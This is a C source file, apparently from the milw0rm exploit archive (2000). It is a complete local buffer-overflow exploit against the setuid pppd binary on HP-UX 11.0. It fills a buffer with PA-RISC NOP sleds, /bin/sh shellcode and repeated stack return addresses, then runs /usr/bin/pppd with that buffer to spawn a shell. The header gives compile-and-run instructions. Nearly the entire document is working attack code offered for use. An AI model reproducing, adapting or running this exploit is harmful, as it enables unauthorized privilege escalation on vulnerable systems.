75 lines
No EOL
2.3 KiB
C
75 lines
No EOL
2.3 KiB
C
/* Copyright (c) 2000 ADM */
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/* All Rights Reserved */
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/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
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/* The copyright notice above does not evidence any */
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/* actual or intended publication of such source code. */
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/* */
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/* Title: HP-UX pppd */
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/* Tested under: HP-UX 11.0 */
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/* By: K2 */
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/* Use: gcc -o pppd hp-pppd.c ; ./pppd */
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/* (more hp to come :) */
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/* */
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#include <unistd.h>
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#define BUF_LENGTH 22000
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#define STACK_OFFSET 8042
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#define EXTRA 3000
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#define HPPA_NOP 0x3902800b /* weirdo nop */
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u_char hppa_shellcode[] =
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"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
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"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
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"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff\xff";
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u_long get_sp(void)
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{
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__asm__("copy %sp,%ret0 \n");
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}
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int main(int argc, char *argv[])
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{
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char buf[BUF_LENGTH + 8];
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unsigned long targ_addr;
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u_long *long_p;
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u_char *char_p;
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int i, code_length = strlen(hppa_shellcode),dso=STACK_OFFSET,xtra=EXTRA;
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if(argc > 1) dso+=atoi(argv[1]);
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if(argc > 2) xtra+=atoi(argv[2]);
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long_p = (u_long *) buf;
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for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++)
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*long_p++ = HPPA_NOP;
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char_p = (u_char *) long_p;
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char_p--; /* weirdness alighnment issue */
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for (i = 0; i < code_length; i++)
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*char_p++ = hppa_shellcode[i];
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targ_addr = get_sp() - dso;
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for (i = 0; i < xtra /4; i++)
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{
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*char_p++ =(targ_addr>>24)&255;
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*char_p++ =(targ_addr>>16)&255;
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*char_p++ =(targ_addr>>8)&255;
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*char_p++ =(targ_addr)&255;
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}
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printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,strlen(buf),xtra,dso);
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execl("/usr/bin/pppd","pppd", buf,(char *) 0);
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perror("execl failed");
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return(-1);
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}
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// milw0rm.com [2000-11-20]
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